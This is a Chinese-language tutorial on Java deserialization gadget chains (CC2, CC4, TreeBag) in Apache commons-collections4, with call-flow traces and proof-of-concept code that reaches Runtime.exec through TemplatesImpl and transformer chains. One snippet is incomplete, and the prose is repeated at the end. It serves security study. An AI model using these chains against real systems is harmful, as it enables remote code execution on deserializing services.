Java安全中commons-collections4包下的两条反序列化链
字数 1123 2025-08-25 22:58:34

Apache Commons Collections4 反序列化漏洞分析

前言

Apache Commons Collections (CC) 是一个广泛使用的Java库,提供了许多有用的集合类和工具。在安全领域,CC库因其反序列化漏洞而闻名。本文主要分析commons-collections4包下的两条重要反序列化链:CC2和CC4。

CC6链在CC4中的修改

在commons-collections4版本中,LazyMap类的decorate方法被替换为lazyMap方法,但整体利用链仍然有效。

// 修改后的CC6 POC
Map innerMap = new HashMap();
Map outMap = LazyMap.lazyMap(innerMap, transformerChain); // 替换了原来的decorate方法

CC2链分析

链式调用流程

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

关键点

  1. PriorityQueue:在CC4.0版本中实现了Serializable接口,可以进行序列化
  2. TransformingComparator:其compare方法会调用transform方法进行转换
  3. 构造要求:PriorityQueue需要至少添加2个元素才能满足条件

POC实现

方式1:使用ChainedTransformer和InvokerTransformer

Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, 
        new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, 
        new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class }, 
        new String[] { "calc" }),
};
ChainedTransformer chain = new ChainedTransformer(faketransformers);
Comparator comparator = new TransformingComparator(chain);

PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(1);
priorityQueue.add(2);

方式2:使用TemplatesImpl(适用于Shiro等限制数组的环境)

// 创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","jiang");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});

// 使用无害的InvokerTransformer初始化
Transformer transformer = new InvokerTransformer("toString",null,null);
Comparator comparator = new TransformingComparator(transformer);

PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(obj);
priorityQueue.add(obj);

// 最后修改调用方法为newTransformer
setFieldValue(transformer,"iMethodName","newTransformer");

CC4链分析

CC4链是CC3和CC2的结合,使用InstantiateTransformer代替InvokerTransformer。

链式调用流程

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        InstantiateTransformer.transform()
                            Constructor.newInstance()
                                TrAXFilter(Templates)
                                    Templates.newTransformer()
                                        TemplatesImpl.getTransletInstance()
                                            Runtime.exec()

关键点

  1. TrAXFilter:可以直接传入Templates并调用newTransformer方法
  2. InstantiateTransformer:用于实例化TrAXFilter并触发漏洞

POC实现

// 创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","RoboTerh");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});

// 创建ChainedTransformer实例
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);

Comparator comparator = new TransformingComparator(chain);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);

// 通过反射设置comparator
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, comparator);

TreeBag & TreeMap利用链

链式调用流程

ObjectInputStream.readObject()
    TreeBag.readObject()
        AbstractMapBag.doReadObject()
            TreeMap.put()
                TreeMap.compare()
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            TemplatesImpl.newTransformer()
                                TemplatesImpl.getTransletInstance()
                                    Runtime.exec()

关键点

  1. TreeBag:使用TreeMap存储数据,可以指定Comparator
  2. 反序列化过程:会调用Comparator的compare方法

POC实现

// 创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","RoboTerh");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});

// 使用无害的InvokerTransformer初始化
InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);

// 创建TreeBag对象
TreeBag treeBag = new TreeBag(transformingComparator);
treeBag.add(obj);

// 更改调用方法
setFieldValue(transformer, "iMethodName", "newTransformer");

总结

  1. CC2链:基于PriorityQueue和TransformingComparator,通过InvokerTransformer直接调用危险方法
  2. CC4链:结合CC3的TrAXFilter和CC2的PriorityQueue,使用InstantiateTransformer触发漏洞
  3. TreeBag链:利用TreeBag/TreeMap的反序列化过程触发TransformingComparator

这些链在CC4版本中仍然有效,只是部分方法名称有所变化(如LazyMap.decorate变为LazyMap.lazyMap)。在实际利用时,需要根据目标环境选择合适的链,特别是在受限环境(如Shiro)中,需要考虑使用不依赖数组的TemplatesImpl方式。

Apache Commons Collections4 反序列化漏洞分析 前言 Apache Commons Collections (CC) 是一个广泛使用的Java库,提供了许多有用的集合类和工具。在安全领域,CC库因其反序列化漏洞而闻名。本文主要分析commons-collections4包下的两条重要反序列化链:CC2和CC4。 CC6链在CC4中的修改 在commons-collections4版本中,LazyMap类的decorate方法被替换为lazyMap方法,但整体利用链仍然有效。 CC2链分析 链式调用流程 关键点 PriorityQueue :在CC4.0版本中实现了Serializable接口,可以进行序列化 TransformingComparator :其compare方法会调用transform方法进行转换 构造要求 :PriorityQueue需要至少添加2个元素才能满足条件 POC实现 方式1:使用ChainedTransformer和InvokerTransformer 方式2:使用TemplatesImpl(适用于Shiro等限制数组的环境) CC4链分析 CC4链是CC3和CC2的结合,使用InstantiateTransformer代替InvokerTransformer。 链式调用流程 关键点 TrAXFilter :可以直接传入Templates并调用newTransformer方法 InstantiateTransformer :用于实例化TrAXFilter并触发漏洞 POC实现 TreeBag & TreeMap利用链 链式调用流程 关键点 TreeBag :使用TreeMap存储数据,可以指定Comparator 反序列化过程 :会调用Comparator的compare方法 POC实现 总结 CC2链 :基于PriorityQueue和TransformingComparator,通过InvokerTransformer直接调用危险方法 CC4链 :结合CC3的TrAXFilter和CC2的PriorityQueue,使用InstantiateTransformer触发漏洞 TreeBag链 :利用TreeBag/TreeMap的反序列化过程触发TransformingComparator 这些链在CC4版本中仍然有效,只是部分方法名称有所变化(如LazyMap.decorate变为LazyMap.lazyMap)。在实际利用时,需要根据目标环境选择合适的链,特别是在受限环境(如Shiro)中,需要考虑使用不依赖数组的TemplatesImpl方式。